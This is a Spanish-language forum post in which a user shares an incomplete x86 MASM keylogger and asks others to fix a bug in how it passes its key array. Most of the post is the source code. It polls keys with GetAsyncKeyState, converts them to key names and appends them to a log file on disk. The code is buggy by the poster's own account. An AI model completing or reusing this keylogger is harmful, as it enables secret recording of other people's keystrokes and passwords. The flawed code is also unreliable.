Keylogger incompleto en asm

Iniciado por robertocarlos1685, Enero 11, 2018, 12:53:24 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola. este es mi primer intento con ensamblador y base mi código en uno que vi por ahí (ya no recuerdo dónde). Lamentablemente tiene un error que no alcanzo a comprender cómo arreglar pero sé que tiene que ver con la forma en que paso el valor del array. Si alguien sabe cuál es el error sería genial.
Código: asm

.386
.model flat,stdcall
.stack 32

OPTION  CaseMap:None


include windows.inc
include user32.inc
include kernel32.inc 
include masm32.inc
include gdi32.inc

includelib kernel32.lib
includelib user32.lib
includelib masm32.lib
includelib gdi32.lib



.data


LogFileName db "C:\\Users\\miusuario\\source\\repos\\keyloggerasm\\Debug\\keyslog.txt",0
BytesWritten dw 0

BufferCadena db ('$')
Buffer dw 100 dup ('$')
ArrayTeclas dd 20,27,32,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75
dd  76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99
dd  100,101,102,103,104,105,186,187,188,189,190,191,192,219,220,121,122

.code

main :

jmp winmain

winmain:
xor edx,edx
xor esi,esi
xor ecx, ecx



mov edi,58
lea esi, ArrayTeclas
jmp getKey
getKey:
mov edx,1
push [esi]
call GetAsyncKeyState
add esi,4
cmp eax, 1
jz grab
dec edi
jz winmain
jmp getKey



grab:

push 3
push [esi]
call MapVirtualKey

shl eax,16

push 100
lea ebx, Buffer
push ebx
push eax
call GetKeyNameText

push NULL
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_ALWAYS
push NULL
push 0
push GENERIC_WRITE
xor eax,eax
lea eax, LogFileName
push eax
call CreateFile
    cmp eax,0
je exit

mov ebx,eax

push FILE_END
push NULL
push NULL
push ebx
call SetFilePointer

    xor edx, edx
lea edx,Buffer
push edx
call lstrlen

push NULL
xor edx,edx
lea edx, BytesWritten
push edx
push Buffer
lea eax, Buffer
push eax
push ebx
call WriteFile

push 1
call Sleep
   
push ebx
    Call CloseHandle
exit:
push 0
call ExitProcess
END main